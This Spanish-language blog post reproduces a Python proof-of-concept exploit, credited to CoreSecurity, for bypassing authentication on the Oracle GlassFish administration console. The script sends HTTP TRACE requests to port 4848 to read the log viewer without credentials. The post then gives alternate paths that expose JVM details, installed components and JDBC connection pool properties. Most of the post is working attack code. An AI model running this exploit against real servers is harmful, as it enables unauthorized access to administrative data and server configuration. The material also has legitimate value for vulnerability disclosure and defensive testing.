Archivo

martes, 17 de mayo de 2011

Oracle GlassFish - obtener informacion sin credenciales


     La primer fase de un pentest, o hacking ético (o porque no, un ataque en sí), es la recopilación de información y la enumeración, aquí se trata de "conocer" al sistema a testear, similar al desarrollo de sistemas, tiene su ciclo de vida y el atacante intentara obtener cada vez más información sobre su objetivo, al principio (y por lo general) realizará la enumeración con mínimos privilegios, o sin credenciales, y a medida que vaya progresando la información obtenida sera mas critica

     Para obtener ciertos datos sensibles de un sistema, en este caso GlassFish, no es necesario tener credenciales, y se puede hacer remotamente, tal como lo demuestran los investigadores de CoreSecurity en el PoC que dejo mas abajo..
#Usage: $ python poc.py <GlassFish_IP> <Administration_Port>
#E.g:     $ python poc.py 192.168.0.1 4848
import sys
import httplib
def make_trace_request(host, port, selector):
    print '[*] TRACE request: %s' % selector
    headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)',
                'Host': '%s:%s' % (host, port),
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-us,en;q=0.5',
                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Accept-Encoding': 'gzip,deflate',
                'Connection': 'close',
                'Referer': 'http://%s:%s%s' % (host, port, selector)}


    conn = httplib.HTTPConnection(host, port)
    conn.request('TRACE', selector, headers=headers)
    response = conn.getresponse()
    conn.close()
    print response.status, response.reason
    print response.getheaders()
    print response.read()
if len(sys.argv) != 3:
    print "Usage: $ python poc.py <GlassFish_IP> <GlassFish_Administration_Port>\nE.g:   $ python poc.py 192.168.0.1 4848"
    sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
make_trace_request(host, port, '/common/logViewer/logViewer.jsf')
     Básicamente, este código en python, realiza una petición mediante el método TRACE, al servidor de GlassFish (por defecto se encuentra escuchando el puerto 4848), y obtiene acceso a contenidos "protegidos", así de simple, sencillo y bonito :)

     También podríamos bypasear para obtener información, sobre la maquina virutal (JVM) instalada en el servidor, componentes instalados, conecciones JDBC (entre otras cosas); para esto solo debemos cambiar el tercer parámetro de la función make_trace_request(host, port, '/common/logViewer/logViewer.jsf') por:
make_trace_request(host, port, '/common/appServer/jvmReport.jsf')
o
make_trace_request(host, port, '/updateCenter/installed.jsf')
o
make_trace_request(host, port, '/jdbc/jdbcConnectionPoolProperty.jsf?name=DerbyPool')

Para mas información:

http://www.coresecurity.com/content/oracle-glassfish-server-administration-console-authentication-bypass

No hay comentarios: